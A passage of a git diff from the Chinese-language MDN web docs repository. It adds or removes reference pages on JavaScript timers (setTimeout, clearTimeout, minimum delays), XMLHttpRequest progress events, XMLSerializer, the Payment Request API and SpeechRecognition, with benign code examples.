+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
+ +

新特性检测:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

针对这个问题并没有原生的解决方案。

+ +
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
+ +

使用bind()的例子:

+ +
let myArray = ['zero', 'one', 'two'];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

备注

+ +

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

+ +

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

+ +

传递字符串字面量

+ +

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

+ +
// 推荐
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 不推荐
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+
+ +

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

+ +

实际延时比设定值更久的原因:最小延迟时间

+ +

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

+ +

最小延时 >=4ms

+ +

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

+ +
function cb() { f(); setTimeout(cb, 0); }
+setTimeout(cb, 0);
+ +
setInterval(f, 0);
+ +

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

+ +

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

+ +

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

+ +
+

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

+
+ +
+

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

+
+ +

未被激活的tabs的定时最小延迟>=1000ms

+ +

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

+ +

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

+ +

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

+ +
+

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

+
+ +

追踪型脚本的最小延时限制

+ +

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

+ +

控制这些行为的属性包含以下这些:

+ + + +

超时延迟

+ +

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

+ +
function foo() {
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

会在控制台输出:

+ +
After setTimeout
+foo has been called
+ +

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

+ +

WebExtension Background pages和定时器

+ +

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

+ +

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

+ +

1.兼容Chorme。

+ +

2.未来行为的改变会引起问题。

+ +

最大延时值

+ +

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+
+ +

相关链接:

+ + diff --git a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html b/files/zh-cn/web/api/windowtimers/cleartimeout/index.html deleted file mode 100644 index 4b20c970d7..0000000000 --- a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.clearTimeout() -slug: Web/API/WindowTimers/clearTimeout -tags: - - API - - WindowOrWorkerGlobalScope - - clearTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout ---- -
-
{{APIRef("HTML DOM")}}
-
- -

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

- -

语法

- -
scope.clearTimeout(timeoutID)
- - - -

Parameters

- -
-
timeoutID
-
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
-
- -

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

- -

示例

- -

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

- -
var alarm = {
-  remind: function(aMessage) {
-    alert(aMessage);
-    delete this.timeoutID;
-  },
-
-  setup: function() {
-    this.cancel();
-    var self = this;
-    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
-  },
-
-  cancel: function() {
-    if(typeof this.timeoutID == "number") {
-      window.clearTimeout(this.timeoutID);
-      delete this.timeoutID;
-    }
-  }
-};
-window.onclick = function() { alarm.setup() };
- -

注意

- -

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
- {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
- {{CompatGeckoMobile("52")}}[1]
6.06.01.0
-
- -

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

- -

更多

- - diff --git a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html new file mode 100644 index 0000000000..529a0b1673 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html @@ -0,0 +1,89 @@ +--- +title: loadend +slug: Web/Events/loadend +translation_of: Web/API/XMLHttpRequest/loadend_event +--- +

loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

+ +

General info

+ +
+
规范
+
Progress
+
接口
+
ProgressEvent
+
可冒泡
+
+
可取消
+
+
触发对象
+
例如{{domxref("HTMLImageElement")}}
+
默认行为
+
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ + + + + +

See also

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html new file mode 100644 index 0000000000..60362dd94a --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html @@ -0,0 +1,91 @@ +--- +title: loadstart +slug: Web/Events/loadstart +tags: + - 事件 +translation_of: Web/API/XMLHttpRequest/loadstart_event +--- +

当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

+ +

基本信息

+ +
+
规范文档
+
Progress
+
接口
+
ProgressEvent
+
冒泡
+
No
+
可取消
+
No
+
目标
+
Element
+
默认动作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ +

相关事件

+ + + +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html new file mode 100644 index 0000000000..6a63ab9d5e --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html @@ -0,0 +1,146 @@ +--- +title: progress event +slug: Web/Events/进度条 +tags: + - API + - Event + - Reference + - Web + - XMLHttpRequest + - progress +translation_of: Web/API/XMLHttpRequest/progress_event +--- +

{{APIRef}}

+ +

progress事件会在请求接收到数据的时候被周期性触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}}
+ +

示例

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-progress')}}{{Spec2('XMLHttpRequest')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.progress_event")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/xmlserializer/index.html b/files/zh-cn/web/api/xmlserializer/index.html new file mode 100644 index 0000000000..5c0af6bf9f --- /dev/null +++ b/files/zh-cn/web/api/xmlserializer/index.html @@ -0,0 +1,92 @@ +--- +title: XMLSerializer +slug: XMLSerializer +tags: + - DOM Parsing + - XML + - XMLSerializer + - construct + - conversion +translation_of: Web/API/XMLSerializer +--- +
{{APIRef("XMLSerializer")}}
+ +
XMLSerializer接口提供{{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法来构建一个代表 {{Glossary("DOM")}} 树的XML字符串。
+ +

方法

+ +
+
{{domxref("XMLSerializer.serializeToString", "serializeToString()")}}
+
返回DOM子树序列化后的字符串。
+
{{domxref("XMLSerializer.serializeToStream", "serializeToStream()")}} {{ non-standard_inline }}{{ deprecated_inline }}
+
将指定元素的每个子树按照特定的字符集序列化成字节流。
+
+ +

示例

+ +

把 XML 序列化为字符串

+ +

首先,最基本的例子是将整个 document 对象序列化为一个 XML 字符串。

+ +
 var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ saveXML(str);
+ +

这里新建了一个 XMLSerializer 对象实例, 然后将待序列化的 {{domxref("Document")}} 对象实例传入返回等价 XML 的 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法。

+ +

向一个基于 XML 的 DOM 对象中

+ +

本例使用 {domxref("Element.insertAdjacentHTML()")}} 方法将一个新的 DOM {{domxref("Node")}} 插入 基于序列化 {{domxref("Document")}} 对象创建的 XML 中。

+ +
+

注意: 在真实场景下,你通常应该通过调用 {{domxref("Document.importNode", "importNode()")}} 方法将新节点加入 DOM 中, 然后通过调用以下方法将目标节点添加到 DOM 树:

+ + +
+ +

因为insertAdjacentHTML() 的第二个参数是一个字符串而不是 Node 节点对象, 所以这里先要使用 XMLSerializer 将节点转换为字符串.

+ +
var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // 先将一个 DOM 节点转换为字符串。
+
+// 将新建的节点添加到 DOM 中。
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);
+ +

以上代码通过调用 {{domxref("Document.createElement()")}} 方法新建一个 {HTMLElement("input")}} 对象 , 然后通过 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法将该对象序列化为 XML.

+ +

做完以上工作之后, 使用 insertAdjacentHTML() 方法将 <input> 元素加入 DOM.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#the-xmlserializer-interface', 'XMLSerializer')}}{{Spec2('DOM Parsing')}}
+ +

浏览器兼容性

+ +
{{Compat("api.XMLSerializer")}}
+ +

参见

+ + diff --git "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" "b/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" deleted file mode 100644 index 9993a0a959..0000000000 --- "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: 指数 -slug: Web/API/指数 -translation_of: Web/API/Index ---- -

{{Index("/zh-CN/docs/Web/API")}}

diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" deleted file mode 100644 index a6772dc5be..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: 交易过程的基本概念 -slug: Web/API/支付_请求_接口/Concepts -tags: - - API - - Apple Pay - - 中间状态 - - 交易 - - 付款方 - - 付款方式 - - 应用程序接口 - - 指南 - - 支付 - - 支付请求API - - 收款方 - - 贸易 -translation_of: Web/API/Payment_Request_API/Concepts ---- -

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

- -

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

- -

术语

- -

在深入了解此API的工作方式前,你应该了解以下术语。

- -
-
收款方(或商家)
-
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
-
付款方
-
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
-
支付方式
-
付款的方式,例如信用卡或线上支付服务。
-
支付方式提供方
-
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
-
交易处理机
-
一段代码,作用是与付款方式提供方交互,进行交易处理。
-
- -

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

- -

支付方式识别码

- -

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

- -

标准化的交易方式识别码

- -

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

- -
-
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
-
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
-
- -

基于URL的交易方式识别码

- -

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

- -
-
https://apple.com/apple-pay
-
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
-
https://google.com/pay
-
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
-
- -

交易处理机的功能

- -

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

- -
    -
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. -
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. -
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. -
- -

商家认证

- -

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

- -

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

- -
paymentRequest.onmerchantvalidation = function(event) {
-  event.complete(fetchValidationData(event.validationURL));
-}
-
- -

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

- -

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

- -

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" deleted file mode 100644 index 0df4261062..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: 支付请求接口 -slug: Web/API/支付_请求_接口 -tags: - - 中间状态 - - 信用卡 - - 到岸卸货 - - 参考 - - 应用程序接口 - - 支付 - - 支付请求 - - 支付请求接口 - - 概述 - - 贸易 -translation_of: Web/API/Payment_Request_API ---- -
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
- -

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

- -

支付请求的概念和使用

- -

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

- -

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

- - - -

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

- -

你可以在Using the Payment Request API中查看完整指南。

- -
-

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

-
- -

接口

- -
-
{{domxref('PaymentAddress')}}
-
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
-
{{domxref('PaymentRequest')}}
-
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
-
{{domxref('PaymentRequestEvent')}}
-
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
-
{{domxref('PaymentRequestUpdateEvent')}}
-
当用户进行操作时,使网页可以更新相应的支付信息的事件。
-
{{domxref('PaymentMethodChangeEvent')}}
-
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
-
{{domxref('PaymentResponse')}}
-
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
-
{{domxref('MerchantValidationEvent')}}
-
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
-
- -
-
- -

词典

- -
-
{{domxref("AddressErrors")}}
-
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
-
{{domxref("PayerErrors")}}
-
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
-
{{domxref("PaymentDetailsUpdate")}}
-
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
-
- -

“保存卡信息并自动扣款”规范的相关词典

- -
-
{{domxref("BasicCardChangeDetails")}}
-
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
-
{{domxref("BasicCardErrors")}}
-
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
-
{{domxref('BasicCardRequest')}}
-
定义了支付请求信息(例如“卡类型”)对象的结构。
-
{{domxref('BasicCardResponse')}}
-
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
- -

浏览器兼容性

- -
-

支付请求接口

- -
- - -

{{Compat("api.PaymentRequest", 0)}}

-
-
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" deleted file mode 100644 index 83e11e69e4..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: 语音识别 -slug: Web/API/语音识别 -translation_of: Web/API/SpeechRecognition ---- -

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

- -

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

- -
-

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

-
- -

Constructor

- -
-
